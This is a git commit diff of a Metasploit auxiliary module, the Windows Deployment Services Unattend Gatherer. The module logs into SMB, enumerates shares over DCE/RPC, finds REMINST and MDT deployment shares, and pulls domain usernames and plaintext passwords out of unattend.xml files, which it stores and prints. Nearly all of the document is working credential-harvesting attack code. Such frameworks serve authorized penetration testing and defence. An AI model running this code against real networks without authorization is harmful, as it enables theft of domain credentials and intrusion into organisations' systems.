Major rework of this module, please see the diff

bug/bundler_fix
HD Moore 2014-06-23 16:13:42 -05:00
parent 94388e3931
commit 2772d84a18
1 changed files with 143 additions and 137 deletions

View File

@ -20,9 +20,11 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info, super(update_info(info,
'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer', 'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer',
'Description' => %q{ 'Description' => %q{
Used after discovering domain credentials with aux/scanner/dcerpc/windows_deployment_services This module will search remote file shares for unattended installation files that may contain
or if you already have domain credentials. Will attempt to connect to the RemInst share and any domain credentials. This is often used after discovering domain credentials with the
Microsoft Deployment Toolkit shares (identified by comments), search for unattend files, and recover credentials. auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
have domain credentials. This module will connect to the RemInst share and any Microsoft
Deployment Toolkit shares indicated by the share name comments.
}, },
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
@ -42,130 +44,141 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
end end
# Determine the type of share based on an ID type value
def share_type(val) def share_type(val)
stypes = [ stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY }
'DISK', stypes[val] || 'UNKNOWN'
'PRINTER',
'DEVICE',
'IPC',
'SPECIAL',
'TEMPORARY'
]
if val > (stypes.length - 1)
return 'UNKNOWN'
end
stypes[val]
end end
# Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC # Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC
# and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed! # and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed!
def srvsvc_netshareenum def srvsvc_netshareenum
simple.connect("IPC$") shares = []
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle) begin
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e dcerpc_bind(handle)
print_error("#{rhost} : #{e.message}") rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
return print_error("#{rhost} : #{e.message}")
return
end
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(1) #level
ref_id = stubdata[0,4].unpack("V")[0]
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
stubdata << ctr
stubdata << NDR.align(ctr)
stubdata << [0xffffffff].pack("V")
stubdata << [ref_id + 8, 0].pack("VV")
response = dcerpc.call(0x0f, stubdata)
# Additional error handling and validation needs to occur before
# this code can be moved into a mixin
res = response.dup
win_error = res.slice!(-4, 4).unpack("V")[0]
if win_error != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}")
end
# Level, CTR header, Reference ID of CTR
res.slice!(0,12)
share_count = res.slice!(0, 4).unpack("V")[0]
# Reference ID of CTR1
res.slice!(0,4)
share_max_count = res.slice!(0, 4).unpack("V")[0]
if share_max_count != share_count
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count")
end
# ReferenceID / Type / ReferenceID of Comment
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
share_count.times do |t|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
if offset != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero")
end end
stubdata = if length != max_length
NDR.uwstring("\\\\#{rhost}") + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length")
NDR.long(1) #level
ref_id = stubdata[0,4].unpack("V")[0]
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
stubdata << ctr
stubdata << NDR.align(ctr)
stubdata << ["FFFFFFFF"].pack("H*")
stubdata << [ref_id + 8, 0].pack("VV")
response = dcerpc.call(0x0f, stubdata)
res = response.dup
win_error = res.slice!(-4, 4).unpack("V")[0]
if win_error != 0
raise "DCE/RPC error : Win_error = #{win_error + 0}"
end end
#remove some uneeded data
res.slice!(0,12) # level, CTR header, Reference ID of CTR
share_count = res.slice!(0, 4).unpack("V")[0]
res.slice!(0,4) # Reference ID of CTR1
share_max_count = res.slice!(0, 4).unpack("V")[0]
raise "Dce/RPC error : Unknow situation encountered count != count max (#{share_count}/#{share_max_count})" if share_max_count != share_count name = res.slice!(0, 2 * length)
res.slice!(0,2) if length % 2 == 1 # pad
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]} # RerenceID / Type / ReferenceID of Comment comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
share_count.times do |t| if comment_offset != 0
length, offset, max_length = res.slice!(0, 12).unpack("VVV") fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero")
raise "Dce/RPC error : Unknow situation encountered offset != 0 (#{offset})" if offset != 0
raise "Dce/RPC error : Unknow situation encountered length !=max_length (#{length}/#{max_length})" if length != max_length
name = res.slice!(0, 2 * length).gsub('\x00','')
res.slice!(0,2) if length % 2 == 1 # pad
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0
if comment_length != comment_max_length
raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})"
end
comment = res.slice!(0, 2 * comment_length).gsub('\x00','')
res.slice!(0,2) if comment_length % 2 == 1 # pad
@shares << [ name, share_type(types[t]), comment]
end end
if comment_length != comment_max_length
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length")
end
comment = res.slice!(0, 2 * comment_length)
res.slice!(0,2) if comment_length % 2 == 1 # pad
shares << [ name, share_type(types[t]), comment]
end
shares
end end
def run_host(ip) def run_host(ip)
deploy_shares = []
@shares = [] begin
deploy_shares = [] connect
smb_login
srvsvc_netshareenum.each do |share|
# Ghetto unicode to ascii conversation
share_name = share[0].unpack("v*").pack("C*").split("\x00").first
share_comm = share[2].unpack("v*").pack("C*").split("\x00").first
share_type = share[1]
begin if share_type == "DISK" and (share_name == "REMINST" or share_comm == "MDT Deployment Share")
connect vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}")
smb_login deploy_shares << share_name
srvsvc_netshareenum
@shares.each do |share|
# I hate unicode, couldn't find any other way to get these to compare!
# look at iconv for 1.8/1.9 compatability?
if (share[0].unpack('H*') == "REMINST\x00".encode('utf-16LE').unpack('H*')) ||
(share[2].unpack('H*') == "MDT Deployment Share\x00".encode('utf-16LE').unpack('H*'))
print_status("#{ip}:#{rport} #{share[0]} - #{share[1]} - #{share[2]}")
deploy_shares << share[0]
end
end end
deploy_shares.each do |deploy_share|
query_share(ip, deploy_share)
end
rescue ::Interrupt
raise $!
end end
deploy_shares.each do |deploy_share|
query_share(deploy_share)
end
rescue ::Interrupt
raise $!
end
end end
def query_share(rhost, deploy_share) def query_share(share)
share_path = "\\\\#{rhost}\\#{deploy_share}" share_path = "\\\\#{rhost}\\#{share}"
print_status("Enumerating #{share_path}") vprint_status("#{rhost}:#{rport} Enumerating #{share}...")
table = Rex::Ui::Text::Table.new({ table = Rex::Ui::Text::Table.new({
'Header' => share_path, 'Header' => share_path,
'Indent' => 1, 'Indent' => 1,
'Columns' => ['Path', 'Type', 'Domain', 'Username', 'Password'] 'Columns' => ['Path', 'Type', 'Domain', 'Username', 'Password']
}) })
creds_found = false creds_found = false
# ruby 1.8 compat?
share = deploy_share.force_encoding('utf-16LE').encode('ASCII-8BIT').strip
begin begin
simple.connect(share) simple.connect(share_path)
rescue ::Exception => e rescue ::Exception => e
print_error("#{share_path} - #{e}") print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}")
return return
end end
@ -173,62 +186,55 @@ class Metasploit3 < Msf::Auxiliary
results.each do |file_path| results.each do |file_path|
file = simple.open(file_path, 'o').read() file = simple.open(file_path, 'o').read()
next unless file
loot_unattend(file)
unless file.nil? creds = parse_client_unattend(file)
loot_unattend(file) creds.each do |cred|
next unless (cred and cred['username'] and cred['password'])
next unless cred['username'].to_s.length > 0
next unless cred['password'].to_s.length > 0
creds = parse_client_unattend(file) report_creds(cred['domain'].to_s, cred['username'], cred['password'])
creds.each do |cred| print_good("#{rhost}:#{rport} Credentials: " +
unless cred.empty? "Path=#{file_path} " +
unless cred['username'].nil? || cred['password'].nil? "Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " +
print_good("Retrived #{cred['type']} credentials from #{file_path}") "Password=#{cred['password'].to_s}"
creds_found = true )
domain = ""
domain = cred['domain'] if cred['domain']
report_creds(domain, cred['username'], cred['password'])
table << [file_path, cred['type'], domain, cred['username'], cred['password']]
end
end
end
end end
end end
if creds_found
print_line
table.print
print_line
else
print_error("No Unattend files found.")
end
end end
def parse_client_unattend(data) def parse_client_unattend(data)
begin begin
xml = REXML::Document.new(data) xml = REXML::Document.new(data)
rescue REXML::ParseException => e
rescue REXML::ParseException => e print_error("Invalid XML format")
print_error("Invalid XML format") vprint_line(e.message)
vprint_line(e.message) end
end Rex::Parser::Unattend.parse(xml).flatten
return Rex::Parser::Unattend.parse(xml).flatten
end end
def loot_unattend(data) def loot_unattend(data)
return if data.empty? return if data.empty?
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services") path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
print_status("Raw version saved as: #{p}") print_status("#{rhost}:#{rport} Stored unattend.xml in #{path}")
end end
def report_creds(domain, user, pass) def report_creds(domain, user, pass)
report_auth_info( report_auth_info(
:host => rhost, :host => rhost,
:port => 445, :port => 445,
:sname => 'smb', :sname => 'smb',
:proto => 'tcp', :proto => 'tcp',
:source_id => nil, :source_id => nil,
:source_type => "aux", :source_type => "aux",
:user => "#{domain}\\#{user}", :user => "#{domain}\\#{user}",
:pass => pass) :pass => pass
)
end end
end end